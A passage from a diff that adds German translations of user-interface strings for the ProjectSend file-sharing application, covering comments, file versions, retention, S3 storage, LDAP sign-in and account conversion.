Kommentare", + ":count file updated.|:count files updated.": ":count Datei aktualisiert.|:count Dateien aktualisiert.", + ":count waiting for approval": ":count warten auf Freigabe", + ":guest commented on the file \":subject\"": ":guest hat die Datei \":subject\" kommentiert", + ":name — files": ":name — Dateien", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": ":updated von :requested ausgewählten Dateien wurden aktualisiert. Der Rest wurde übersprungen, weil Ihnen die Berechtigung zum Bearbeiten fehlt.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Ein markanter Kopfbereich rund um Ihr Logo — passt zum Gallery-Look für einen gepflegten, markengerechten Posteingang.", + "Access": "Zugriff", + "Access key": "Zugriffsschlüssel", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Konten, die unter diese Einstellung fallen, dürfen nur Dateien hochladen, deren Endung unten in der Positivliste steht.", + "A clean, neutral layout that works well for any kind of file sharing.": "Ein klares, neutrales Layout, das für jede Art des Dateiaustauschs funktioniert.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Ein Kommentar von jemandem, der nicht angemeldet ist, bleibt verborgen, bis ein Moderator ihn freigibt.", + "A comment is waiting for approval": "Ein Kommentar wartet auf Freigabe", + "Activity history for :name": "Aktivitätsverlauf von :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Eine tägliche Aufgabe löscht Dateien endgültig, sobald ihr Ablaufdatum und die unten stehende Karenzzeit verstrichen sind.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Eine tägliche Aufgabe löscht lokale verwaiste Dateien endgültig, die älter als die unten stehende Karenzzeit sind.", + "Add categories": "Kategorien hinzufügen", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Fügt beim Kommentieren einer öffentlich sichtbaren Datei die Option \"Alle\" hinzu. Ohne sie erreichen Kommentare immer nur angemeldete Personen.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Eine dichte Liste im Tabellenstil, die mehr Dateien auf den Bildschirm bringt — ideal für große Sammlungen und häufige Uploads.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Ein Fotoraster über die volle Breite, gemacht fürs visuelle Stöbern — die beste Wahl für Fotografen und bildlastige Sammlungen.", + "Allow clients to add files to this folder from their portal.": "Kunden erlauben, aus ihrem Portal Dateien zu diesem Ordner hinzuzufügen.", + "Allow comments on this file": "Kommentare zu dieser Datei erlauben", + "Allowed file extensions": "Erlaubte Dateiendungen", + "Allow public comments": "Öffentliche Kommentare erlauben", + "and :count more": "und :count weitere", + "Anonymous": "Anonym", + "Anonymous downloads": "Anonyme Downloads", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Gilt für jeden Kunden ohne eigenes Kontingent, auch für selbst registrierte. Auf 0 setzen für keinen Standard (unbegrenzt, sofern ein Kunde kein eigenes Limit hat).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Die Seite einer öffentlichen Gruppe ist immer über ihren eigenen Link erreichbar, sobald Sie sie als öffentlich markieren — diese Seite steuert nur die Basis-URL und ein optionales Verzeichnis, das alle öffentlichen Gruppen und Dateien auf einmal auflistet.", + "A reset link will be sent if the account exists.": "Falls das Konto existiert, wird ein Link zum Zurücksetzen versendet.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Ein großzügiges, farbiges Layout nach dem Vorbild von Cloud-Speicher-Apps, mit klaren Dateityp-Symbolen und viel Raum.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Ein reduziertes, zurückhaltendes Design ganz ohne Zierrat — passt zum Compact-Look.", + "Auto approve new accounts": "Neue Konten automatisch genehmigen", + "Automatically delete expired files": "Abgelaufene Dateien automatisch löschen", + "Automatically delete orphan files": "Verwaiste Dateien automatisch löschen", + "A visitor commented on a file": "Ein Besucher hat eine Datei kommentiert", + "Awaiting approval": "Wartet auf Freigabe", + "Back": "Zurück", + "Be careful when changing this list — it can affect the security of this installation.": "Ändern Sie diese Liste mit Bedacht — sie kann die Sicherheit dieser Installation beeinflussen.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Leer = Standard der Website übernehmen (derzeit :default MB). Setzen Sie einen Wert, um diesem Kunden ein eigenes Limit zu geben.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Leer = unbegrenzt (es ist kein Standard für die Website gesetzt). Setzen Sie einen Wert, um diesem Kunden ein eigenes Limit zu geben.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Blaue Akzente und klare Struktur nach dem Vorbild von Cloud-Speicher-Apps — passt zum Drive-Look.", + "Branding": "Branding", + "Bucket": "Bucket", + "Bulk edit :count files": ":count Dateien gesammelt bearbeiten", + "by": "von", + "Change at least one field before applying a bulk edit.": "Ändern Sie mindestens ein Feld, bevor Sie eine Sammelbearbeitung anwenden.", + "Check for updates": "Nach Updates suchen", + "Client access": "Kundenzugriff", + "Client downloads": "Kunden-Downloads", + "Clients can register themselves": "Kunden können sich selbst registrieren", + "Clients only": "Nur Kunden", + "Comment approved.": "Kommentar freigegeben.", + "Comment deleted.": "Kommentar gelöscht.", + "Comments": "Kommentare", + "Comments are closed on this file.": "Kommentare sind für diese Datei geschlossen.", + "Comments already written stay readable even if a file stops accepting new ones.": "Bereits verfasste Kommentare bleiben lesbar, auch wenn eine Datei keine neuen mehr annimmt.", + "Comments awaiting approval": "Kommentare, die auf Freigabe warten", + "Comment settings": "Kommentareinstellungen", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Kommentare von nicht angemeldeten Besuchern. Niemand sieht sie, bevor Sie sie freigeben.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Verbinden Sie einen externen S3-kompatiblen Bucket (AWS S3, MinIO oder einen anderen S3-kompatiblen Dienst) als Speicher-Backend für neue Uploads.", + "Custom endpoint": "Eigener Endpunkt", + "Custom field created.": "Benutzerdefiniertes Feld erstellt.", + "Custom field deleted.": "Benutzerdefiniertes Feld gelöscht.", + "Custom field updated.": "Benutzerdefiniertes Feld aktualisiert.", + "Custom range": "Eigener Zeitraum", + "Default storage quota (MB)": "Standard-Speicherkontingent (MB)", + "Delete account?": "Konto löschen?", + "Delete failed job?": "Fehlgeschlagenen Auftrag löschen?", + "Delete them permanently": "Endgültig löschen", + "Delete this comment?": "Diesen Kommentar löschen?", + "Delete this many days after being found": "So viele Tage nach dem Auffinden löschen", + "Delete this many days after expiry": "So viele Tage nach Ablauf löschen", + "Download :name": ":name herunterladen", + "Downloaded by": "Heruntergeladen von", + "Download history": "Download-Verlauf", + "Download history for :name": "Download-Verlauf von :name", + "Duration": "Dauer", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Jede Datei hat auf ihrer Bearbeitungsseite den Schalter \"Kommentare zu dieser Datei erlauben\". Nur Dateien mit aktiviertem Schalter nehmen Kommentare an.", + "edited": "bearbeitet", + "Editing window (minutes)": "Bearbeitungsfenster (Minuten)", + "Email settings saved.": "E-Mail-Einstellungen gespeichert.", + "Error": "Fehler", + "Every download, newest first": "Jeder Download, neueste zuerst", + "Every download across the installation, newest first": "Jeder Download auf dieser Installation, neueste zuerst", + "Every recorded action, newest first": "Jede aufgezeichnete Aktion, neueste zuerst", + "Expiration": "Ablauf", + "Expired :date": "Abgelaufen am :date", + "Expired only": "Nur abgelaufene", + "Extension, e.g. pdf": "Endung, z. B. pdf", + "Failed at": "Fehlgeschlagen am", + "Failed job deleted.": "Fehlgeschlagener Auftrag gelöscht.", + "Failed jobs": "Fehlgeschlagene Aufträge", + "Failed to connect: :error": "Verbindung fehlgeschlagen: :error", + "File retention": "Dateiaufbewahrung", + "File retention settings": "Einstellungen zur Dateiaufbewahrung", + "Files accessible to :name": "Für :name zugängliche Dateien", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Dateien, die ohne passenden Datenbankeintrag auf der Festplatte liegen — ein abgebrochener Upload, eine Wiederherstellung, ein manueller Eingriff im Dateisystem", + "Files that accept comments": "Dateien, die Kommentare annehmen", + "Filters": "Filter", + "Folder renamed.": "Ordner umbenannt.", + "Folders": "Ordner", + "Grid view": "Rasteransicht", + "Hold comments from visitors for approval": "Kommentare von Besuchern zur Freigabe zurückhalten", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Wie lange nach dem Verfassen jemand den eigenen Kommentar noch bearbeiten oder löschen kann. Auf 0 setzen, um es nie zu erlauben.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Wie lange eine abgelaufene Datei aufbewahrt wird, bevor sie endgültig gelöscht wird. 0 löscht sie am Tag des Ablaufs.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Wie lange eine verwaiste Datei aufbewahrt wird, bevor sie endgültig gelöscht wird. 0 löscht sie am Tag des Auffindens.", + "IP address": "IP-Adresse", + "Job queued for retry.": "Auftrag für einen erneuten Versuch eingereiht.", + "Language: :language": "Sprache: :language", + "Last month": "Letzter Monat", + "Last ran": "Zuletzt ausgeführt", + "Last week": "Letzte Woche", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Für AWS S3 leer lassen. Setzen Sie dies, um einen S3-kompatiblen Dienst wie MinIO oder Backblaze zu verwenden.", + "Leave empty for a file that never expires.": "Leer lassen für eine Datei, die nie abläuft.", + "Limit file types uploading to": "Dateitypen beim Hochladen beschränken für", + "List view": "Listenansicht", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Diesen Ordner öffentlich machen. Jede Datei darin — jetzt und künftig, in jeder Tiefe — wird ebenfalls öffentlich.", + "Message": "Nachricht", + "Moving": "Wird verschoben", + "Never run": "Nie ausgeführt", + "Next cleanup :date": "Nächste Bereinigung am :date", + "No accounts match \":search\".": "Kein Konto entspricht \":search\".", + "Nobody (no restriction)": "Niemand (keine Beschränkung)", + "No comments yet.": "Noch keine Kommentare.", + "No expired files.": "Keine abgelaufenen Dateien.", + "No extensions added yet.": "Noch keine Endungen hinzugefügt.", + "No failed jobs.": "Keine fehlgeschlagenen Aufträge.", + "No files match these filters.": "Keine Datei entspricht diesen Filtern.", + "None of the selected files could be edited.": "Keine der ausgewählten Dateien konnte bearbeitet werden.", + "Nothing is waiting for approval.": "Es wartet nichts auf Freigabe.", + "of :count": "von :count", + "of :quota": "von :quota", + "on": "am", + "Only the fields you change here are applied — everything else is left as-is.": "Nur die Felder, die Sie hier ändern, werden übernommen — alles andere bleibt, wie es ist.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Betroffen sind nur Uploads nach der Aktivierung dieses Backends. Bereits lokal gespeicherte Dateien bleiben dort und funktionieren weiter — eine Migration zwischen Backends gibt es nicht.", + "Open public page": "Öffentliche Seite öffnen", + "Optional. Confines uploads to a subfolder within the bucket.": "Optional. Beschränkt Uploads auf einen Unterordner im Bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Das automatische Löschen verwaister Dateien arbeitet ausschließlich auf lokalem Speicher und bleibt daher bei aktivem externem Speicher aus — auch wenn es zuvor aktiviert war.", + "Orphan files": "Verwaiste Dateien", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Ausgehende E-Mails werden bei Cloud-Konten über ein zentral verwaltetes Relay versendet. Absenderadresse und -name, die Empfänger sehen, können Sie weiterhin selbst wählen.", + "Page": "Seite", + "Path prefix": "Pfadpräfix", + "Pending": "Ausstehend", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Prüft regelmäßig das öffentliche Repository von projectsend.org auf eine neuere Version und zeigt einen Hinweis in der Übersicht. Es wird nie etwas automatisch heruntergeladen oder eingespielt.", + "Permanently failed": "Endgültig fehlgeschlagen", + "Post comment": "Kommentar absenden", + "Preview of :name": "Vorschau von :name", + "Previous month": "Vormonat", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Der klassische E-Mail-Look von ProjectSend — schlicht und neutral, und passend zu jedem Design für öffentliche Seiten und Portal.", + "ProjectSend :version is available": "ProjectSend :version ist verfügbar", + "Public folder": "Öffentlicher Ordner", + "Published :date": "Veröffentlicht am :date", + "Queue": "Warteschlange", + "Reassign them to another account": "Einem anderen Konto neu zuweisen", + "Region": "Region", + "Remove a category": "Kategorie entfernen", + "Remove categories": "Kategorien entfernen", + "Rename folder": "Ordner umbenennen", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Von den meisten S3-kompatiblen Diensten verlangt (MinIO usw.). Für AWS S3 ausgeschaltet lassen.", + "Requires Upload files": "Erfordert \"Dateien hochladen\"", + "Retry": "Erneut versuchen", + "Root": "Stammverzeichnis", + "Scheduler": "Planer", + "Scheduler settings": "Planer-Einstellungen", + "Search accounts…": "Konten durchsuchen…", + "Search and filter": "Suchen und filtern", + "Secret key": "Geheimer Schlüssel", + "Select files to bulk-edit them": "Dateien auswählen, um sie gesammelt zu bearbeiten", + "Sender identity": "Absenderidentität", + "Set to…": "Setzen auf…", + "Share": "Teilen", + "Shared with client": "Mit Kunde geteilt", + "Shared with me": "Mit mir geteilt", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Wer einen Ordner teilt, teilt seinen gesamten Inhalt — jetzt und künftig. Die Freigabe verwalten Sie auf der Bearbeitungsseite.", + "Someone commented on a file": "Jemand hat eine Datei kommentiert", + "Sort by": "Sortieren nach", + "Storage settings": "Speichereinstellungen", + "Storage settings saved.": "Speichereinstellungen gespeichert.", + "Success: connected to bucket \":bucket\".": "Erfolg: mit dem Bucket \":bucket\" verbunden.", + "Task": "Aufgabe", + "Test connection": "Verbindung testen", + "Test result": "Testergebnis", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Diesem Konto gehören :files Datei(en) und :folders Ordner. Was soll damit geschehen?", + "This cannot be undone.": "Das lässt sich nicht rückgängig machen.", + "This client has no accessible files yet.": "Dieser Kunde hat noch keine zugänglichen Dateien.", + "This deletion is permanent": "Diese Löschung ist endgültig", + "This file is public because it's inside the public folder \":name\".": "Diese Datei ist öffentlich, weil sie im öffentlichen Ordner \":name\" liegt.", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Dieser Ordner kann nicht gelöscht werden: Er enthält :count Datei, die Sie nicht hochgeladen haben.|Dieser Ordner kann nicht gelöscht werden: Er enthält :count Dateien, die Sie nicht hochgeladen haben.", + "This removes it from the failed jobs list without retrying it.": "Das entfernt ihn aus der Liste der fehlgeschlagenen Aufträge, ohne ihn erneut zu versuchen.", + "Total size": "Gesamtgröße", + "To update, run:": "Zum Aktualisieren ausführen:", + "Unavailable while external storage is active": "Nicht verfügbar, solange externer Speicher aktiv ist", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Anders als bei einer abgelaufenen Datei gibt es bei einer verwaisten keinen Datenbankeintrag zum vorläufigen Löschen — ist sie weg, gibt es kein Zurück.", + "Unlimited storage": "Unbegrenzter Speicher", + "Update :count files": ":count Dateien aktualisieren", + "Uploaded and shared": "Hochgeladen und geteilt", + "Uploaded by client": "Vom Kunden hochgeladen", + "Uploaded by me": "Von mir hochgeladen", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Vom Kunden hochgeladen oder ihm direkt, über eine Gruppe oder über einen geteilten Ordner zugewiesen.", + "Uploading into \":name\".": "Wird nach \":name\" hochgeladen.", + "Upload settings saved.": "Upload-Einstellungen gespeichert.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Upload-Einstellungen gespeichert. Warnung: :extensions zuzulassen kann gefährlich sein — behalten Sie sie nur auf der Liste, wenn Sie das Risiko kennen.", + "used": "belegt", + "Used in the public folder URL.": "Wird in der URL des öffentlichen Ordners verwendet.", + "Use external storage for new uploads": "Externen Speicher für neue Uploads verwenden", + "Use path-style addressing": "Pfadbasierte Adressierung verwenden", + "View all downloads (:count)": "Alle Downloads ansehen (:count)", + "View full history (:count)": "Vollständigen Verlauf ansehen (:count)", + "View release notes": "Versionshinweise ansehen", + "View release notes on GitHub": "Versionshinweise auf GitHub ansehen", + "Visitor": "Besucher", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Nicht angemeldete Besucher können nur öffentliche Kommentare schreiben; das bleibt daher wirkungslos, bis Sie unten öffentliche Kommentare erlauben.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Was mit einer Datei geschieht, wenn sie abläuft oder herrenlos auf der Festplatte auftaucht", + "Where": "Wo", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Ob geplante Aufgaben tatsächlich laufen, und welche eingereihten E-Mails nicht versendet werden konnten", + "Who can comment on files, and which files accept comments": "Wer Dateien kommentieren darf und welche Dateien Kommentare annehmen", + "Who can see this": "Wer das sehen kann", + "Who can write a comment": "Wer einen Kommentar schreiben darf", + "Write a comment…": "Kommentar schreiben…", + "You cannot grant permissions your own role does not have: :permissions": "Sie können keine Berechtigungen erteilen, die Ihre eigene Rolle nicht hat: :permissions", + "You need upload permission to create folders": "Zum Erstellen von Ordnern brauchen Sie die Berechtigung zum Hochladen", + "Your comment will be reviewed before it appears.": "Ihr Kommentar wird geprüft, bevor er erscheint.", + "Your name": "Ihr Name", + "— No change —": "— Keine Änderung —", + "Newest first": "Neueste zuerst", + "Oldest first": "Älteste zuerst", + "Name (A–Z)": "Name (A–Z)", + "Name (Z–A)": "Name (Z–A)", + "Largest first": "Größte zuerst", + "Smallest first": "Kleinste zuerst", + "Transfers": "Übertragungen", + "Top clients by storage": "Top-Kunden nach Speicher", + "Largest files": "Größte Dateien", + "Expired files": "Abgelaufene Dateien", + "A private note. Nobody else can read it, staff included.": "Eine private Notiz. Niemand sonst kann sie lesen, auch das Team nicht.", + "Reply": "Antworten", + "Replying to :name": "Antwort an :name", + "The team working on this file. No client ever sees it.": "Das Team, das an dieser Datei arbeitet. Kein Kunde sieht das je.", + "With :name": "Mit :name", + "Your reply goes to :name only, and to staff.": "Ihre Antwort geht nur an :name und an das Team.", + "Your reply goes to the same people as the comment above.": "Ihre Antwort geht an dieselben Personen wie der Kommentar oben.", + "Public comments are turned off for this site.": "Öffentliche Kommentare sind für diese Website ausgeschaltet.", + "Only a file that is publicly visible can have public comments.": "Nur eine öffentlich sichtbare Datei kann öffentliche Kommentare haben.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Das Team und alle, mit denen diese Datei geteilt ist. Kunden sehen einander nicht.", + "Everyone above, plus anyone who opens this file without logging in.": "Alle oben genannten sowie jeder, der diese Datei ohne Anmeldung öffnet.", + "Not signed in": "Nicht angemeldet", + "New comment on \":name\"": "Neuer Kommentar zu \":name\"", + ":author commented on \":name\".": ":author hat \":name\" kommentiert.", + ":author commented on \":name\"": ":author hat \":name\" kommentiert", + "Read the comment": "Kommentar lesen", + ":count new comments": ":count neue Kommentare", + "There are :count new comments for you:": "Es gibt :count neue Kommentare für Sie:", + "Someone": "Jemand", + "New comment on a file": "Neuer Kommentar zu einer Datei", + "Multiple new comments (digest)": "Mehrere neue Kommentare (Zusammenfassung)", + "Marked the file \":subject\" as a revision of \":previous\"": "Hat die Datei \":subject\" als Überarbeitung von \":previous\" markiert", + "Removed the version link from the file \":subject\"": "Hat die Versionsverknüpfung von der Datei \":subject\" entfernt", + "A file was marked as a revision of another": "Eine Datei wurde als Überarbeitung einer anderen markiert", + "A file version link was removed": "Eine Versionsverknüpfung wurde entfernt", + "A newer version of a file I have is available": "Eine neuere Version einer Datei, die ich habe, ist verfügbar", + "A newer version of \":previousName\" is available: :itemName": "Eine neuere Version von \":previousName\" ist verfügbar: :itemName", + "A newer version of a file you have is available": "Eine neuere Version einer Datei, die Sie haben, ist verfügbar", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" wurde durch eine neuere Version ersetzt: \":name\".", + ":count files you have were replaced by newer versions": ":count Dateien, die Sie haben, wurden durch neuere Versionen ersetzt", + "Newer versions of the following :count files are available:": "Von den folgenden :count Dateien sind neuere Versionen verfügbar:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Eine Datei kann keine Überarbeitung ihrer selbst sein.", + "That file is already part of this file's version history.": "Diese Datei ist bereits Teil des Versionsverlaufs dieser Datei.", + "That file has already been revised by \":name\". Remove that link first.": "Diese Datei wurde bereits durch \":name\" überarbeitet. Entfernen Sie zuerst diese Verknüpfung.", + "That file has just been revised by another file. Reload and try again.": "Diese Datei wurde soeben durch eine andere Datei überarbeitet. Laden Sie neu und versuchen Sie es erneut.", + "This version history is too long. Remove an older link first.": "Dieser Versionsverlauf ist zu lang. Entfernen Sie zuerst eine ältere Verknüpfung.", + "That file can't be used as the previous version.": "Diese Datei kann nicht als Vorgängerversion verwendet werden.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Diese Datei ist bereits mit anderen Personen geteilt und kann daher nicht als neue Version markiert werden. Bitten Sie Ihre Ansprechperson, das für Sie zu tun.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Diese Datei ist eine neue Version von \":name\". Verwalten Sie die Freigabe stattdessen bei \":name\" — jede Version folgt ihr.", + "This file is a new version of another file, and is shared with the same people as that one.": "Diese Datei ist eine neue Version einer anderen Datei und wird mit denselben Personen geteilt wie diese.", + "Versions": "Versionen", + "Mark this file as a newer version of something you uploaded before.": "Diese Datei als neuere Version von etwas markieren, das Sie zuvor hochgeladen haben.", + "This version is outdated": "Diese Version ist veraltet", + "It was replaced by \":name\".": "Sie wurde durch \":name\" ersetzt.", + "This file is a new version of": "Diese Datei ist eine neue Version von", + "Remove link": "Verknüpfung entfernen", + "Mark as a new version": "Als neue Version markieren", + "Version history": "Versionsverlauf", + "Version link removed.": "Versionsverknüpfung entfernt.", + "This file is now marked as a new version of \":name\".": "Diese Datei ist jetzt als neue Version von \":name\" markiert.", + "Share this file's recipients with the original?": "Die Empfänger dieser Datei auf das Original übertragen?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Eine neue Version wird mit denselben Personen geteilt wie das Original. Diese Empfänger der vorliegenden Datei werden ihm hinzugefügt, damit niemand den Zugriff verliert:", + "No other files are available to link to.": "Es sind keine anderen Dateien zum Verknüpfen verfügbar.", + "Shared through \":name\"": "Geteilt über \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Diese Datei ist eine neue Version von \":name\" und wird daher mit denselben Personen geteilt. Wer sie sehen darf, ändern Sie über jene Datei.", + "Edit sharing on \":name\"": "Freigabe von \":name\" bearbeiten", + "You don't have permission to change who that file is shared with.": "Sie haben keine Berechtigung zu ändern, mit wem diese Datei geteilt wird.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Dies ist eine neue Version von \":name\" und wird mit denselben Personen geteilt. Verwalten Sie die Freigabe über jene Datei.", + "New version of": "Neue Version von", + "Replaced by": "Ersetzt durch", + "Outdated": "Veraltet", + "New version": "Neue Version", + "Replaced by :name": "Ersetzt durch :name", + "Replaces :name": "Ersetzt :name", + "There is a newer version of this file": "Von dieser Datei gibt es eine neuere Version", + "This replaces": "Dies ersetzt", + "This is a new version of a file I uploaded before": "Dies ist eine neue Version einer Datei, die ich zuvor hochgeladen habe", + "Search your files…": "Ihre Dateien durchsuchen…", + "You have no earlier files that can be replaced.": "Sie haben keine früheren Dateien, die ersetzt werden können.", + "This file will be shared with the same people who have \":name\".": "Diese Datei wird mit denselben Personen geteilt, die \":name\" haben.", + ":name (group)": ":name (Gruppe)", + "Search files…": "Dateien durchsuchen…", + "Search…": "Suchen…", + "Searching…": "Wird gesucht…", + "No files match \":search\".": "Keine Datei entspricht \":search\".", + "Nothing matches \":search\".": "Nichts entspricht \":search\".", + "A client account was converted to staff": "Ein Kundenkonto wurde in ein Team-Konto umgewandelt", + "A staff account was converted to a client": "Ein Team-Konto wurde in ein Kundenkonto umgewandelt", + "A client account was created from the directory": "Ein Kundenkonto wurde aus dem Verzeichnis erstellt", + "Converted the client account \":subject\" to staff (:role)": "Hat das Kundenkonto \":subject\" in ein Team-Konto umgewandelt (:role)", + "Converted the staff account \":subject\" to a client": "Hat das Team-Konto \":subject\" in ein Kundenkonto umgewandelt", + "Created a client account from the directory on first sign-in": "Hat bei der ersten Anmeldung ein Kundenkonto aus dem Verzeichnis erstellt", + "Convert accounts": "Konten umwandeln", + "Convert": "Umwandeln", + "Convert to client": "In Kundenkonto umwandeln", + "Convert to staff": "In Team-Konto umwandeln", + "Convert :name to a client": ":name in ein Kundenkonto umwandeln", + "Convert :name to staff": ":name in ein Team-Konto umwandeln", + "Client → staff": "Kunde → Team", + "Staff → client": "Team → Kunde", + "Move an account between staff and clients. Files they uploaded are always kept.": "Ein Konto zwischen Team und Kunden verschieben. Hochgeladene Dateien bleiben immer erhalten.", + "They lose access to every staff screen immediately.": "Der Zugriff auf sämtliche Team-Seiten geht sofort verloren.", + "They gain access to the staff screens their role allows.": "Es entsteht Zugriff auf die Team-Seiten, die die Rolle zulässt.", + "Will be revoked": "Wird entzogen", + "Will be revoked and cannot be undone": "Wird entzogen und lässt sich nicht rückgängig machen", + "Will be kept": "Bleibt erhalten", + "Nothing": "Nichts", + "Nothing to keep": "Nichts zu erhalten", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Eine Rückumwandlung stellt alles unter \"Bleibt erhalten\" wieder her. Was entzogen wurde, kehrt nicht zurück.", + ":files files and :folders folders they uploaded": ":files Dateien und :folders Ordner, die hochgeladen wurden", + "No accounts match these filters.": "Kein Konto entspricht diesen Filtern.", + "Account converted to a client.": "Konto in ein Kundenkonto umgewandelt.", + "Account converted to staff.": "Konto in ein Team-Konto umgewandelt.", + "Approve or deny this account request before converting it.": "Genehmigen oder lehnen Sie diese Kontoanfrage ab, bevor Sie sie umwandeln.", + "You cannot convert your own account.": "Sie können Ihr eigenes Konto nicht umwandeln.", + "New password": "Neues Passwort", + "New password (optional)": "Neues Passwort (optional)", + "Leave blank to keep their current password.": "Leer lassen, um das aktuelle Passwort beizubehalten.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Dieses Konto meldet sich über Ihr Verzeichnis an. Team-Konten tun das nie, es braucht hier also ein Passwort — sonst ist gar keine Anmeldung mehr möglich.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Legen Sie ein Passwort für dieses Konto fest. Es meldet sich heute über Ihr Verzeichnis an, und Team-Konten tun das nie.", + "Tokens created": "Erstellte Token", + "Currently active": "Derzeit aktiv", + ":count active": ":count aktiv", + "1 permission": "1 Berechtigung", + ":count permissions": ":count Berechtigungen", + "This token carries no permissions.": "Dieses Token trägt keine Berechtigungen.", + "This account has created API tokens before, but none are live now.": "Dieses Konto hat schon einmal API-Token erstellt, aktuell ist aber keines aktiv.", + "This account has never created an API token.": "Dieses Konto hat noch nie ein API-Token erstellt.", + "No longer granted to this account, so it does nothing.": "Diesem Konto nicht mehr erteilt und daher wirkungslos.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Nur :name kann diese erstellen, ändern oder widerrufen — ein Administrator kann sie sehen, aber nicht verwalten.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Was dieses Token über die API darf. Es kann nie mehr als :name selbst.", + "LDAP": "LDAP", + "LDAP settings": "LDAP-Einstellungen", + "LDAP settings saved.": "LDAP-Einstellungen gespeichert.", + "Directory": "Verzeichnis", + "Connection": "Verbindung", + "Server": "Server", + "Base DN": "Basis-DN", + "Service account DN": "DN des Dienstkontos", + "Service account password": "Passwort des Dienstkontos", + "Email attribute": "E-Mail-Attribut", + "Name attribute": "Namensattribut", + "Additional filter (optional)": "Zusätzlicher Filter (optional)", + "CA certificate path (optional)": "Pfad zum CA-Zertifikat (optional)", + "None (unencrypted)": "Keine (unverschlüsselt)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (implizites TLS)", + "Allow clients to sign in with a directory account": "Kunden die Anmeldung mit einem Verzeichniskonto erlauben", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Kunden können sich mit ihrem Verzeichniskonto anmelden. Das Team authentifiziert sich immer lokal.", + "Create an account on first sign-in": "Bei der ersten Anmeldung ein Konto erstellen", + "Directory accounts are always created as clients, never as staff.": "Verzeichniskonten werden immer als Kundenkonten angelegt, nie als Team-Konten.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Wer im Verzeichnis steht, aber hier kein Konto hat, erhält ein Kundenkonto und wird sofort angemeldet.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Wer im Verzeichnis steht, aber hier kein Konto hat, erhält ein Kundenkonto, das unter Kontoanfragen auf Freigabe wartet.", + "Only people who already have an account here can sign in.": "Nur Personen, die hier bereits ein Konto haben, können sich anmelden.", + "Combined with the address match, to narrow who may sign in.": "Wird mit dem Adressabgleich kombiniert, um einzugrenzen, wer sich anmelden darf.", + "The attribute holding the address people sign in with — usually mail.": "Das Attribut mit der Adresse, mit der sich Personen anmelden — meist mail.", + "Where in the tree to look for people.": "Wo im Verzeichnisbaum nach Personen gesucht wird.", + "Leave blank to search anonymously.": "Leer lassen, um anonym zu suchen.", + "Stored encrypted, and never shown again.": "Verschlüsselt gespeichert und nie wieder angezeigt.", + "Stored encrypted. Leave blank to keep the current one.": "Verschlüsselt gespeichert. Leer lassen, um das aktuelle beizubehalten.", + "For a directory presenting a certificate from 